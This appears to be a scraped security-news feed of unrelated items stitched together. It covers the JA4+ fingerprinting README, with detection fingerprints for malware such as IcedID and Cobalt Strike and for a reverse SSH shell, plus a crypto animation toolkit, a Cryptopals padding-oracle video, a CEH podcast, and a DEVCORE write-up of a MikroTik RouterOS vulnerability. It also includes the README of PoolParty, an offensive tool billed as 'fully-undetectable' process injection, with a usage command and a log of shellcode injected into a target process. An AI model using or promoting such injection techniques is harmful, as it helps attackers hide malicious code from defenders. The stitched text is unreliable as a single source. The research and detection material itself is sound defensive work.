ntop's ntopng
ntop's nDPI
Team Cymru
Exploit.org's Netryx
with more to be announced...


Application JA4+ Fingerprints
Chrome JA4=t13d1516h2_8daaf6152771_02713d6af862 (TCP)
JA4=q13d0312h3_55b375c5d22e_06cda9e17597 (QUIC)
JA4=t13d1517h2_8daaf6152771_b0da82dd1658 (pre-shared key)
JA4=t13d1517h2_8daaf6152771_b1ff8ab2d16f (no key)
IcedID Malware Dropper JA4H=ge11cn020000_9ed1ff1f7b03_cd8dafe26982
IcedID Malware JA4=t13d201100_2b729b4bf6f3_9e7b989ebec8
Sliver Malware JA4=t13d190900_9dc949149365_97f8aa674fd9
Cobalt Strike JA4H=ge11cn060000_4e59edc1297a_4da5efaf0cbd
SoftEther VPN JA4=t13d880900_fcb5b95cb75a_b0d3b4ac2a14 (client)
Qakbot JA4X=2bab15409345_af684594efb4_000000000000
Pikabot JA4X=1a59268f55e5_1a59268f55e5_795797892f9c
Darkgate JA4H=po10nn060000_cdb958d032b0
LummaC2 JA4H=po11nn050000_d253db9d024b
Evilginx JA4=t13d191000_9dc949149365_e7c285222651
Reverse SSH Shell JA4SSH=c76s76_c71s59_c0s70
Windows 10 JA4T=64240_2-1-3-1-1-4_1460_8
Epson Printer JA4TScan=28960_2-4-8-1-3_1460_3_1-4-8-16

For more, see ja4plus-mapping.csv
The mapping file is unlicensed and free to use. Feel free to do a pull request with any JA4+ data you find.




Recommended to have tshark version 4.0.6 or later for full functionality. See: https://pkgs.org/search/?q=tshark

Download the latest JA4 binaries from: Releases.

JA4+ on Ubuntu

sudo apt install tshark
./ja4 [options] [pcap]

JA4+ on Mac

1) Install Wireshark https://www.wireshark.org/download.html which will install tshark 2) Add tshark to $PATH

ln -s /Applications/Wireshark.app/Contents/MacOS/tshark /usr/local/bin/tshark
./ja4 [options] [pcap]

JA4+ on Windows

1) Install Wireshark for Windows from https://www.wireshark.org/download.html which will install tshark.exe
tshark.exe is at the location where wireshark is installed, for example: C:\Program Files\Wireshark\thsark.exe
2) Add the location of tshark to your "PATH" environment variable in Windows.
(System properties > Environment Variables... > Edit Path)
3) Open cmd, navigate the ja4 folder

ja4 [options] [pcap]


An official JA4+ database of fingerprints, associated applications and recommended detection logic is in the process of being built.

In the meantime, see ja4plus-mapping.csv

Feel free to do a pull request with any JA4+ data you find.

JA4+ Details

JA4+ is a set of simple yet powerful network fingerprints for multiple protocols that are both human and machine readable, facilitating improved threat-hunting and security analysis. If you are unfamiliar with network fingerprinting, I encourage you to read my blogs releasing JA3 here, JARM here, and this excellent blog by Fastly on the State of TLS Fingerprinting which outlines the history of the aforementioned along with their problems. JA4+ brings dedicated support, keeping the methods up-to-date as the industry changes.

All JA4+ fingerprints have an a_b_c format, delimiting the different sections that make up the fingerprint. This allows for hunting and detection utilizing just ab or ac or c only. If one wanted to just do analysis on incoming cookies into their app, they would look at JA4H_c only. This new locality-preserving format facilitates deeper and richer analysis while remaining simple, easy to use, and allowing for extensibility.

For example; GreyNoise is an internet listener that identifies internet scanners and is implementing JA4+ into their product. They have an actor who scans the internet with a constantly changing single TLS cipher. This generates a massive amount of completely different JA3 fingerprints but with JA4, only the b part of the JA4 fingerprint changes, parts a and c remain the same. As such, GreyNoise can track the actor by looking at the JA4_ac fingerprint (joining a+c, dropping b).

Current methods and implementation details:
| Full Name | Short Name | Description | |---|---|---| | JA4 | JA4 | TLS Client Fingerprinting
| JA4Server | JA4S | TLS Server Response / Session Fingerprinting | JA4HTTP | JA4H | HTTP Client Fingerprinting | JA4Latency | JA4L | Latency Measurment / Light Distance | JA4X509 | JA4X | X509 TLS Certificate Fingerprinting | JA4SSH | JA4SSH | SSH Traffic Fingerprinting | JA4TCP | JA4T | TCP Client Fingerprinting | JA4TCPServer | JA4TS | TCP Server Response Fingerprinting | JA4TCPScan | JA4TScan | Active TCP Fingerprint Scanner

The full name or short name can be used interchangeably. Additional JA4+ methods are in the works...

To understand how to read JA4+ fingerprints, see Technical Details


JA4: TLS Client Fingerprinting is open-source, BSD 3-Clause, same as JA3. FoxIO does not have patent claims and is not planning to pursue patent coverage for JA4 TLS Client Fingerprinting. This allows any company or tool currently utilizing JA3 to immediately upgrade to JA4 without delay.

JA4S, JA4L, JA4H, JA4X, JA4SSH, JA4T, JA4TScan and all future additions, (collectively referred to as JA4+) are licensed under the FoxIO License 1.1. This license is permissive for most use cases, including for academic and internal business purposes, but is not permissive for monetization. If, for example, a company would like to use JA4+ internally to help secure their own company, that is permitted. If, for example, a vendor would like to sell JA4+ fingerprinting as part of their product offering, they would need to request an OEM license from us.

All JA4+ methods are patent pending.
JA4+ is a trademark of FoxIO

JA4+ can and is being implemented into open source tools, see the License FAQ for details.

This licensing allows us to provide JA4+ to the world in a way that is open and immediately usable, but also provides us with a way to fund continued support, research into new methods, and the development of the upcoming JA4 Database. We want everyone to have the ability to utilize JA4+ and are happy to work with vendors and open source projects to help make that happen.

ja4plus-mapping.csv is not included in the above software licenses and is thereby a license-free file.


Q: Why are you sorting the ciphers? Doesn't the ordering matter?
A: It does but in our research we've found that applications and libraries choose a unique cipher list more than unique ordering. This also reduces the effectiveness of "cipher stunting," a tactic of randomizing cipher ordering to prevent JA3 detection.

Q: Why are you sorting the extensions?
A: Earlier in 2023, Google updated Chromium browsers to randomize their extension ordering. Much like cipher stunting, this was a tactic to prevent JA3 detection and "make the TLS ecosystem more robust to changes." Google was worried server implementers would assume the Chrome fingerprint would never change and end up building logic around it, which would cause issues whenever Google went to update Chrome.

So I want to make this clear: JA4 fingerprints will change as application TLS libraries are updated, about once a year. Do not assume fingerprints will remain constant in an environment where applications are updated. In any case, sorting the extensions gets around this and adding in Signature Algorithms preserves uniqueness.

Q: Doesn't TLS 1.3 make fingerprinting TLS clients harder?
A: No, it makes it easier! Since TLS 1.3, clients have had a much larger set of extensions and even though TLS1.3 only supports a few ciphers, browsers and applications still support many more.

JA4+ was created by:

John Althouse, with feedback from:

Josh Atkins
Jeff Atkinson
Joshua Alexander
Joe Martin
Ben Higgins
Andrew Morris
Chris Ueland
Ben Schofield
Matthias Vallentin
Valeriy Vorotyntsev
Timothy Noel
Gary Lipsky
And engineers working at GreyNoise, Hunt, Google, ExtraHop, F5, Driftnet and others.

Contact John Althouse at [email protected] for licensing and questions.

Copyright (c) 2024, FoxIO

Cranim: A Toolkit for Cryptographic Visualization

By: Eli Sohl
24 May 2024 at 19:30

Let’s kick this off with some examples. Here’s a seamless loop illustrating CBC-mode encryption:

Here’s a clip showing a code block being rewritten to avoid leaking padding information in error messages:

Here’s an illustration of a block cipher operating in CTS mode:

You may be surprised to learn that each of these illustrations was generated from ≤30 lines of code (30, 9, and 23 lines, respectively), without any golfing. The exact code used can be seen in the Cranim example gallery, along with many other examples of what this toolkit can do.

But let’s take a step back. You may be familiar with the Cryptopals Guided Tour. These longform videos discuss various topics from cryptography, loosely following the path laid out by the cyptopals challenges, and starting with set 2 I began to bring in custom-made visual aids to support discussion as the concepts involved grew more abstract.

To create these visuals, the tool I reached for was Manim, a math visualization library best known for its use in 3Blue1Brown‘s videos (in fact, he is also Manim’s original author). But while this library is very powerful (seriously, check out their example gallery), it is biased towards math, not computer science. It lacks support for such basic tasks as visualizing (or rewriting) a buffer; drawing a wire diagram; modifying a code snippet; and so on. To adapt this library to my use case, I had to write an extensive plugin adding all this functionality and more. Today I am releasing this plugin, cranim, in the hope that it will be useful to other computer science educators. You can find installation and usage guidelines in the GitHub repo: https://github.com/nccgroup/manim-cranim

The default color scheme is optimized for accessibility; contrast between colors should be clear even to colorblind viewers. This color palette was originally published for use by data scientists in multicolor figures. The default background color, a warm and pleasant off-white, is similarly meant to promote legibility: studies have shown that dark text on light backgrounds scans faster and more accurately than the inverse. The precise tone of the background is intended to evoke a poorly-cleaned whiteboard, a familiar sight to any computer science student.

While the toolkit is oriented towards animations, Manim is equally capable of producing static images such as the illustration of CTS mode above; in cases where vector graphics are preferred, Manim can both consume and produce SVG files. The subset of Manim used by Cranim exclusively uses vector representations internally, making it a good fit for this use case.

Cranim is still under active development (as is the Guided Tour), so I have not yet written API docs; they will come as the API stabilizes. However, I keep the Example Gallery up to date, so you can turn to it for simple examples of idiomatic usage. If you’re interested in a less trivial example, the full source code for the animations used in the 17th Guided Tour video can be found in this gist (though note that parts of it are hacky, as it was written quickly and has not been reviewed or edited; in this sense it closely models the sort of code the average Cranim user might write).

If you make something with Cranim, please feel free to send it my way! I’m curious to see what uses people find for this tool, and I’m happy to take feature requests (or bug reports) on GitHub as well.

Announcing the Cryptopals Guided Tour Video 17: Padding Oracles!

By: Eli Sohl
24 May 2024 at 18:59

Hello and welcome back to the Cryptopals Guided Tour (previously, previously)! Today we are taking on Challenge 17, the famous padding oracle attack.

For those who don’t know, Cryptopals is a series of eight sets of challenges covering common cryptographic constructs and common attacks on them. You can read more about Cryptopals at https://cryptopals.com/.

There’s a lot of practical knowledge wrapped up in these challenges, and working through them is an excellent way for programmers to learn more about cryptography – or for cryptographers to learn more about programming. We strongly encourage you to give them a try and to see how far you can get on your own.

The Guided Tour is here for you to check your work after completing a challenge, or to see how else you might’ve solved it – or for when you get stuck, can’t get yourself unstuck, and are looking for a nudge in the right direction. We strongly encourage you to try “learning by doing” before watching the videos. You’ll get more out of them that way!

These problems are complex, and if you take the shortest path to the solution, you’re sure to miss a lot of the sights along the way. It can be hard to know what you’re missing or where to look for it; that’s where these videos come in. From the start, we’ve prioritized detailed discussion; for set 2, we augmented these discussions with detailed animations showing exactly what’s going on under the hood for each attack; for set 3, we’re maintaining these high production values, integrating more research, and open-sourcing the tool used to generate these animations: cranim, a powerful toolkit for cryptographic (and generic computer science) animations with an emphasis on visualizing buffers and data flows. Cranim was developed to support the Guided Tour but is built with flexibility in mind; I hope that other educators will find it useful.

We’re also accelerating the release schedule, favoring individual video releases over dropping an entire set at once. When videos take this long to make, it only makes sense to release them as soon as they’re ready.

If you’re just joining the Guided Tour, here’s a playlist of the full series so far. Each video comes with a timestamped index of content so you can skip around as desired. Check the video descriptions, too; most of them also contain lists of links for further reading.

And now, at long last, here is the next installment of the Cryptopals Guided Tour. We hope you find this helpful and educational, and we look forward to bringing the next videos to you as soon as they’re ready.

Set 3, Challenge 17: The CBC padding oracle

Direct video link: https://youtu.be/6yHM19rQjDo

Challenge link: https://cryptopals.com/sets/3/challenges/17

00:00 – Intro
00:53 – Big-picture view
01:47 – Padding oracles in the wild
02:33 – What happens if we provide an invalid token?
03:33 – Ruining a developer’s night
05:53 – Let’s take a look at the attack
06:48 – Single block case
09:02 – Confirming padding has length 1
09:28 – XOR algebra, and the full search
10:57 – Multi-block case
11:53 – How can you prevent this attack?
13:20 – Timing side-channels
16:57 – Bolting a MAC onto it
17:45 – Note on deniability
18:10 – MACing ciphertext vs MACing plaintext
19:55 – Recapping layers of defense
20:13 – Breaking each layer of defense
21:03 – As our side channel gets less reliable, how does the attack change?
22:28 – Tracking confidences
24:00 – False negatives and false positives
25:12 – Bayes’ Theorem
26:42 – Entropy
27:25 – Adding chart for expected informtion gained
28:14 – Heuristics
31:15 – Getting into trouble with MACs
33:00 – Time to write some code!
35:44 – Obligatory CSPRNG disclaimer
36:50 – Sketching out the script’s functions
39:30 – Implementing the multi-block case
40:43 – Implementing the easy functions
42:18 – Implementing the single-block case
49:10 – Testing the solution
49:49 – “I could just call it done here, but…”
51:40 – Reading the plaintext
52:27 – Implementing the noisy oracle case and signing off

Further reading:

(all of the above are just on JWTs, per the note at 02:33)
https://eprint.iacr.org/2023/1441 (“We were able to detect side channels of single-digit CPU cycles over regular gigabit Ethernet.”)

Thank you!

Before wrapping up this post, I’d like to take a moment to thank Gerald Doussot and Javed Samuel for their continued patience, encouragement, and support with this very large undertaking. I’d also like to thank my teammates in Cryptography Services for their thoughtful and attentive review, particularly Marie-Sarah Lacharite, Thomas Pornin, and Elena Bakos Lang, whose feedback has measurably improved this video (though of course I take full responsibility if any mistakes are found in it). On the logistical side of things, Ristin Rivera has also been invaluable throughout the publication process for this entire series.

I would also like to take a moment to thank the developers of Manim, without which these videos would not be possible in their current form. (By the way, if you want to make videos like these, my Manim plugin Cranim – which I developed to support this series – has now been publicly released!)

Finally, once again I’d like to thank the authors of the Cryptopals challenges. I’ve spent a lot of time with their work and I appreciate the effort they’ve put into it.

Mastering the certified ethical hacker exam: Strategies and insights with Akyl Phillips

By: Infosec
16 May 2024 at 18:00

Cyber Work Hacks knows that you have what it takes to pass the Certified Ethical Hacker (CEH) exam! And you don’t have to do it alone! Infosec’s CEH boot camp instructor Akyl Phillips gives you his top tips and tricks for taking the exam! Phillips breaks down the common formats for CEH questions, talks common mistakes people make while taking the exam and why it’s not the end of the world if you fail the CEH on the first time (especially if you do it with an Infosec CEH/Pentest+ dual-cert boot camp). As Phillips puts it, first you have to get to know the beast, and that will allow you to slay the beast! Sharpen your tools and get down to business with this Cyber Work Hack.

0:00 - Certified ethical hacker exam
1:42 - What is ethical hacking and the roles using it?
2:46 - Tips and tricks for taking the CEH exam
3:32 - Tools to have before the CEH exam
5:09 - Common mistakes people make with the CEH exam
6:11 - What if I fail the CEH exam?
7:02 - Will I get CEH exam feedback?
7:49 - Best piece of advice for CEH exam day
8:55 - Outro

– Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.


PoolParty - A Set Of Fully-Undetectable Process Injection Techniques Abusing Windows Thread Pools

A collection of fully-undetectable process injection techniques abusing Windows Thread Pools. Presented at Black Hat EU 2023 Briefings under the title - injection-techniques-using-windows-thread-pools-35446">The Pool Party You Will Never Forget: New Process Injection Techniques Using Windows Thread Pools

PoolParty Variants

Variant ID Varient Description
1 Overwrite the start routine of the target worker factory
2 Insert TP_WORK work item to the target process's thread pool
3 Insert TP_WAIT work item to the target process's thread pool
4 Insert TP_IO work item to the target process's thread pool
5 Insert TP_ALPC work item to the target process's thread pool
6 Insert TP_JOB work item to the target process's thread pool
7 Insert TP_DIRECT work item to the target process's thread pool
8 Insert TP_TIMER work item to the target process's thread pool


PoolParty.exe -V <VARIANT ID> -P <TARGET PID>

Usage Examples

Insert TP_TIMER work item to process ID 1234

>> PoolParty.exe -V 8 -P 1234

[info] Starting PoolParty attack against process id: 1234
[info] Retrieved handle to the target process: 00000000000000B8
[info] Hijacked worker factory handle from the target process: 0000000000000058
[info] Hijacked timer queue handle from the target process: 0000000000000054
[info] Allocated shellcode memory in the target process: 00000281DBEF0000
[info] Written shellcode to the target process
[info] Retrieved target worker factory basic information
[info] Created TP_TIMER structure associated with the shellcode
[info] Allocated TP_TIMER memory in the target process: 00000281DBF00000
[info] Written the specially crafted TP_TIMER structure to the target process
[info] Modified the target process's TP_POOL tiemr queue list entry to point to the specially crafted TP_TIMER
[info] Set the timer queue to expire to trigger the dequeueing TppTimerQueueExp iration
[info] PoolParty attack completed successfully

Default Shellcode and Customization

The default shellcode spawns a calculator via the WinExec API.

To customize the executable to execute, change the path in the end of the g_Shellcode variable present in the main.cpp file.

Author - Alon Leviev

Pwn2Own Toronto 2022 : A 9-year-old bug in MikroTik RouterOS

23 May 2024 at 16:00

English Version, 中文版本


DEVCORE 研究組在 Pwn2Own Toronto 2022 白帽駭客競賽期間,透過研究過去少有人注意到的攻擊面,在 MikroTik 旗下路由器產品所使用的 RouterOS 作業系統中,發現了存在九年之久的 WAN 端弱點,透過串連該弱點與另一個同樣由 DEVCORE 發現的 Canon printer 弱點,DEVCORE 成為史上第一個在 Pwn2Own 賽事中成功挑戰 SOHO Smashup 項目的隊伍;最終 DEVCORE 在 Pwn2Own Toronto 2022 奪下冠軍,並獲頒破解大師(Master of Pwn)的稱號。

該 WAN 端弱點發生在 RouterOS 中的 radvd 程式,由於該程式在處理 IPv6 SLAAC 的 ICMPv6 封包時,未對 RDNSS 欄位的長度進行檢查,導致攻擊者可透過發送兩次 Router Advertisement 封包觸發緩衝區溢位攻擊,使得攻擊者可在不需登入且無需使用者互動的情況下控制路由器底層的 Linux 系統進行高權限操作,取得路由器的完整控制權;此弱點被登記為 CVE-2023-32154,其 CVSS 分數為 7.5。

針對上述弱點, DEVCORE 已於 2022/12/29 經由 ZDI 回報 MikroTik 處理,並在 2023/05/19 完成修補,以下 RouterOS 版本已經對此弱點進行修補:

  • Long-term Release 6.48.7
  • Stable Release 6.49.8
  • Stable Release 7.10
  • Testing Release 7.10rc6

Pwn2Own 與 SOHO Smashup 簡介

Pwn2Own 是一系列由趨勢科技的 Zero Day Initiative(ZDI)主辦的比賽,每場賽事都會針對該次主題挑選一些熱門的產品作為目標,例如:作業系統、瀏覽器、電動車、工控系統、路由器、印表機、智慧音箱、手機、NAS、網路攝影機……等等。只要參賽隊伍可以在無需使用者互動、設備處於預設狀態、軟體更新至最新版本的條件下,演示攻擊並成功獲得設備的主控權,就可以獲得相應的 Master of Pwn 點數和獎金。賽末結算時,Master of Pwn 點數最高的隊伍就是冠軍,也被稱為破解大師(Master of Pwn)。

前幾年由於疫情的關係,Work From Home 或是 SOHO(即小型辦公/家庭辦公)變得非常普遍,因此 2022 的 Pwn2Own Toronto 也新增了一個稱作 SOHO Smashup 的特別項目,參賽者需要從 WAN 端入侵路由器後,再將路由器作為跳板攻擊居家常見的設備,例如:智慧音響、印表機等設備。

這個特別的新項目,除了獎金是所有項目中第二高的 $100,000(USD)之外,得分也是最高的十分,因此如果目標是奪冠,奪下這個項目絕對是如虎添翼!DEVCORE 在本次賽事中也特別挑選較少人研究的 MikroTik 作為目標,避免與他人找到重複的漏洞(與其他人撞洞時,獎金與得分皆減半),最大化奪冠的機率。

RouterOS 簡介

MikroTik 開發的 RouterOS 是一套基於 Linux 核心的作業系統,也是 MikroTik 旗下產品 「RouterBoard」上預設安裝的作業系統,RouterOS 亦可被安裝在個人電腦上,用來將電腦作為路由器使用。

雖然基於 Linux 核心開發的 RouterOS 確實有使用 GPL 授權的開源軟體,但如果想要得到相關的程式碼,根據官方網站 downloadterms 的說明,需要匯 45 塊美金給 MikroTik ,他們才會寄給你一張燒好 GPL source 的光碟,非常有趣的想法!幸好已經有人將 MikroTik 的 GPL source上傳到 Github,但在檢視過後,我們認為裡面的程式碼對於後續分析沒有太大的幫助。

RouterOS v7 與 RouterOS v6

在 MikroTik 官網的下載頁面上同時存在 RouterOS v7 以及 RouterOS v6 兩個版本,兩者之間的關係比較像是 RouterOS 的不同 branch,在設計上大同小異。因為我們的目標設備 RouterBoard RB2011UiAS-IN 預設安裝的是 RouterOS v6,所以我們先以 RouterOS v6 作為研究對象。

RouterOS 並沒有正式提供一個方法讓使用者直接管理底層的 Linux 系統,使用者被關在一個功能受限的 console 裡面,只能使用 RouterOS 提供的有限指令去管理這台路由器。因此過去有不少研究是關於如何 jailbreak RouterOS。

RouterOS 上的 binary 之間使用一種 MikroTik 自製的 IPC 進行溝通,此 IPC 利用稱為 nova message 的資料結構在各程式間交換資訊,因此我們將這類 binary 統一稱作 nova binary。

另外,RouterOS 還存在一個比較特別的攻擊面。在日常應用中,使用者可以透過 WinBox 這套 GUI 管理工具在 Windows 電腦上對 RouterOS 進行遠端管理,其原理是透過 TCP 向路由器傳送 nova message。因此若 RouterOS 沒有針對 nova message 做好權限驗證時,攻擊者就有機會自遠端發送一個夾帶惡意 nova message 的 TCP 封包入侵路由器;不過 WinBox 預設僅能從 LAN 端使用,對我們來說不是優先事項,因為這次的目標是從 WAN 端進行攻擊!

CVE 回顧

首先,為了熟悉 RouterOS 的攻擊面,我們全面審視了過去的 CVE。當時與 RouterOS 有關的 CVE 總共有 80 個,而當中可被用來在 pre-auth 情境下進行攻擊,且目標是路由器本身的共有 28 個 。

28 個 CVE 當中有 4 個 CVE 的使用情境是較符合 Pwn2Own 規則所描述的情境,這些 CVE 可以讓攻擊者在不需使用者互動的情況下在路由器上喚起一個 shell 或登入為 admin。這 4 個漏洞當中,有 3 個是在 2017 年至 2019 年這段時間被發現的,而且當中 3 個是「in the wild」而不是第一時間經由白帽駭客主動通報,這四個漏洞分別是:

  • CVE-2017-20149:又稱 Chimay-Red,是 2017 年從 CIA 外洩的武器庫「Vault 7」中,針對 RouterOS 進行攻擊的漏洞之一。漏洞發生在 RouterOS 解析 HTTP 請求時,若 HTTP headers 中的 Content-Length 是負值,會造成 Integer Underflow,搭配 Stack Clash 的攻擊手法就能控制程式流程達成 RCE。
  • CVE-2018-7445:是一個存在於 RouterOS 自己實做的 SMB 中的 buffer overflow。這是透過黑箱模糊測試找到的漏洞,也是四個漏洞中唯一一個由發現者自行回報的漏洞,一樣能夠控制程式執行流程最後達成 RCE,但 SMB 不是預設開啟的服務。
  • CVE-2018-14847:也是「Vault 7」中針對 RouterOS 進行攻擊的漏洞之一。這個漏洞使攻擊者可以不需登入就讀取任意檔案,乍聽之下好像不是大問題,但由於在 RouterOS 的早期版本中,使用者的密碼是以 password xor md5(username + "283i4jfkai3389") 的方式儲存在檔案中,所以只要能夠讀取這個檔案,攻擊者就可以逆算得到 admin 的密碼。
  • CVE-2021-41987:在 SCEP 服務的 base64 解碼過程中,因為長度計算錯誤導致的 heap buffer overflow 漏洞,這是資安研究員分析了 APT 在其 C2 server 上的 exploit 後反推出來的漏洞。

可以發現,這些漏洞大多是「in the wild」,我們無從得知當初發現漏洞的人是如何進行分析及思考。因此關於分析 RouterOS 的思路或是技巧,透過這些漏洞能學習到的十分有限。



IPC 與 Nova Message 回顧

可以發現上述的研究大部分都離不開 RouterOS 的自製 IPC,所以我們也簡單的對其機制進行了回顧。 這裡使用一個簡單的例子對 IPC 進行說明。

日常使用場景中,使用者可以透過 telnet 登入至 RouterOS,並使用 conolse 對路由器進行管理。

讓我們拆解整個流程中 IPC 參與的部分:

  1. 當使用者欲透過 telnet 存取 RouterOS 的 console 時,telnet process 會使用 execl 去執行 login 這個程式,並向使用者索取帳號及密碼。
  2. 當使用者送出帳號密碼之後,login process 會將帳號密碼放進 nova message 中,發送至 user process 請求驗證
  3. user process 完成驗證後,透過 nova message 通知驗證的結果
  4. 如果登入成功就會喚起 console process,接下來使用者與 console 互動的過程都是透過 login process 轉發

IPC 簡介

上面的例子簡單地描述了 IPC 的基本概念,但兩個 process 間的溝通實際上更加複雜。首先,每個送往其他程式的 nova message 都會先透過 socket 被送往 loader,接著 loader 才根據 message 內容把 message 分派給對應的 nova binary。

讓我們舉一個簡單的例子來說明:假設 login process 的 id 是 1039;user process 的 id 是 13,且 user process 中負責驗證帳號密碼的是 id 為 4 的 handler。 則在登入驗證流程中,login process 首先會送一個包含帳號密碼的請求給 user process,這時的 SYS_TO 是一個包含兩個元素的陣列:[13, 4] ,表示要把 message 送給 binary id 為 13 的 process 中 id 為 4 的 handler。

當 loader 收到 message 後,它會先移除 message 內 SYS_TO 中代表目標 binary id 的 13,並在 SYS_FROM 中增加來源 binary 的 id,也就是 1039,之後把 message 傳送給 user process。

user process 收到 message 後也會做類似的事情,將SYS_TO 中代表目標 handler id 的 4 移除後,接著把 nova message 送至 handler 4 進行處理,最終由 handler 4 執行驗證的邏輯。

Nova Message 簡介

而上述 IPC 中使用的 nova message 是由 nv::message 及相關的 function 進行初始化與設定。Nova message 實際上是由具有型別的 key-value pair 構成,且 key 只能是整數,所以 SYS_TO 及 SYS_FROM 等 key 只是單純的 macro 罷了。而 nova message 中可以使用的型別包括 u32, u64, bool, string, bytes, IP 及 nova message (也就是可以建立巢狀的 nova message)。

因為 RouterOS 已不用 JSON 來傳遞 nova message,所以我們只針對 binary 格式進行說明。在 IPC 溝通過程中,收方的 socket 首先會收到一個表達當前 nova message 長度的整數,之後接著 binary 格式的 nova message。

Nova message 的開頭是兩個 magic bytes:M2。接下來,每個 key 都使用 4 bytes 來描述;其中,前 3 bytes 用來表達 key 的 id,最後一個 byte 是 key 的型別。根據型別,會以不同解析方式將緊接在後的 bytes 取出作為 data,取完 data 之後,後面緊接著的便是下一個 key,如此循環下去。當中比較特別的是 bool 型別,因為 bool 可以僅用一個 bit 表示,nova message 便直接使用 type 的最低一位 bit 來表示 True/False,更詳細的格式可以參考 Ian Dupont, Harrison Green. Pulling MikroTik into the Limelight:

x3 format

為了瞭解 nova message 中 SYS_TO 及 SYS_FROM 的 id 具體是指哪一個 nova binary,我們需要解析一種副檔名為 x3 的檔案,它是 binary 格式的 xml。在撰寫工具解析 /nova/etc/loader/system.x3 後,我們便可得知每個 id 所對應的是哪個 nova binary,例如在下圖中,/nova/bin/log 的 id 就是 3。

但有些 binary 的 id 並不在這個檔案當中,是因為該 binary 可能是透過安裝 MikroTik 官方提供的 package 之後才有的功能,此時 binary 的 id 就會存在於 /ram/pckg/<package_name>/nova/etc/loader/<package_name>.x3 當中,radvd 就是一例。

儘管如此,依舊有些 binary id 是無法在任何 .x3 檔案中找到的,因為這類型的 process 並不是持久存在,例如:只有使用者嘗試登入時才會被喚起的 login process,這類 process 就以流水號作為 id。

另外,.x3 檔案也被用來記錄 nova binary 的相關設定,例如 www 就在 .x3 中指定每個 URI 應該使用哪一個 servlet 來進行處理。


經由回顧了過去的研究及 CVE,可以發現大多我們感興趣的漏洞都集中在過去的一段時間內,近期似乎很難在 RouterOS 的 WAN 端找到 pre-auth 的漏洞。 且雖然這期間持續有漏洞被揭露,但可以發現 MikroTik 變得越來越安全。MikroTik 上真的已經不存在 pre-auth 的漏洞了嗎?或許單純只是所有人都把什麼東西漏看了?


  • 越獄(Jailbreaking)
  • 分析在野的 exploit
  • 研究 IPC 中的 nova message

然而在逆向 RouterOS 上的 binary 一段時間之後,我們發現整個系統的複雜度不僅於此,但卻沒什麼人提及相關細節。因此有了以下的感想:「沒有任何理智正常的人想要花時間逆向 nova binary」。

除了從 CIA 及 APT 取得的 exploit 之外,大部分在 RouterOS 上尋找漏洞的研究不外乎是 Fuzzing 網路協議、玩弄 nova message 或是針對 nova message 進行模糊測試。從成果來看,攻擊者對於 RouterOS 的理解似乎高過我們很多,我們需要探索更多關於 nova binary 的細節來彌補差距,才有機會找到我們想要找的漏洞。雖然我們並不反對 fuzzing 這個手法,但若要在這場比賽中取得優勢,我們就必須確定所有細節都被親眼看過。


我們不認為 RouterOS 已經完美無暇,而且不難發現研究員與攻擊者對於 RouterOS 的理解存在著差距。所以,要在 RouterOS 上找到 pre-auth RCE 我們還缺少什麼?

首先我們想到的第一個問題是:IPC 的入口點在哪裡,它又通往哪裡?大部分透過 IPC 觸發的功能都需要進行登入,所以可以預期到:拘泥於 IPC,只會找到更多 post-auth 的弱點。且 IPC 不過只是 RouterOS 上用來實作主要功能的其中一個環節,我們更想直接、謹慎的觀察每個功能的核心程式碼。

舉例來說:負責處理 DHCP 的 process 是如何從一個 DHCP 封包中擷取需要的資訊?這些資訊可能直接被存在該 process 中,或可能需要透過 IPC 送給其他 process 做進一步處理。

Nova Binary 的架構

因此我們必須先認識 nova binary 的架構,每個 nova binary 中都有一個 Looper(或其衍生類別:MultifiberLooper),Looper 是負責執行 event loop 邏輯的一個類別,每次迭代都會呼叫 runTimer 來執行時間到了的 timer ,以及呼叫 poll 去檢查 socket 的狀態並做相對應的處理。

Looper 也負責自己所在的 nova binary 與 loader 之間的溝通,Looper 首先會先會針對當前 binary 與 loader 之間的 unix socket 註冊一個特別的 callback function:onMsgSock,這個函式負責把從 socket 收到的 nova message 分配給 nova binary 中對應的 handler。

Handler 類別與其衍生類

當 Looper 收到一個 nova message 時,它會將之分派給對應的 handler。例如,SYS_TO 為 [14, 0] 的訊息會被 loader 分配給 binary id 為 14 的 nova binary,而 binary id 為 14 的 binary 中的 looper 收到時,SYS_TO 已經剩下 [0],因此 looper 會將其分配給 handler 0 進行處理。如果一開始的 nova message 中 SYS_TO 為 [14],則 looper 收到時 SYS_TO 為 [],這種情境將由 Looper 自行處理。

現在讓我們假設,Looper 收到了一個由 handler 1 負責的 nova message,並分配給 handler 1,在收到 message 後,handler 1 會去呼叫 Handler 類別中的 nv::Handler::handleCmd,這個函式會根據 nova message 中的 SYS_CMD 在 vtable 中尋找對應的 function 執行。

除了常規的功能之外,vtable 中的 cmdUnknown 常被開發者 override 用以擴充功能,但有時開發者反而是 override handleCmd,看起來是全依 MikroTik 開發者的心情而定。而 Handler 類別因為是基礎類別,所以 object 相關的指令並沒有被實作。


然而 nova binary 中使用最多的並不是基本的 Handler 類別,而是其衍生類別。 衍生類別可以用來儲存多個單一型別物件,類似 C++ 的 STL 容器。

舉例來說,當使用者透過 web panel 的管理介面建立一個 DHCP server 的時候,會送出一個指令為「add object」的 nova message 到 dhcp process 的 handler 0,接下來 handler 0 會產生一個 dhcp server 物件記錄相關設定,並且該物件會被保存在 handler 0 內部的一個 tree 當中。

這裡的 handler 0 就是一個 AMap 的 instance,AMap 即是 Handler 的一個衍生類別。 且由於指令是「add object」,所以觸發了 AMap::cmdAddObj 這個成員函式,這個成員函式會去呼叫 handler 0 的 vtable 中位於 offset 0x7c 位置所指向的一個 function,這個 function 實際上就是 AMap 中包含的物件的建構式,例如,若開發者在宣告 handler 0 時,其類型為 AMap<string> ,則 offset 0x7c 的位置所指向的 function 就是 string 的建構式。

每個衍生類別儲存內部物件建構式的 function 在 vtable 上的 offset 都不相同,想要找到衍生類別中物件的建構子,可以透過逆向它們個別的 cmdAddObj 來找到。

IPC,和 IPC 以外的

儘管 IPC 似乎無處不在,但其實 RouterOS 中有許多功能並不以 IPC 實現。以實作在 discover 程式中的兩個 layer 2 的發現協議:CDP、LLDP 為例:

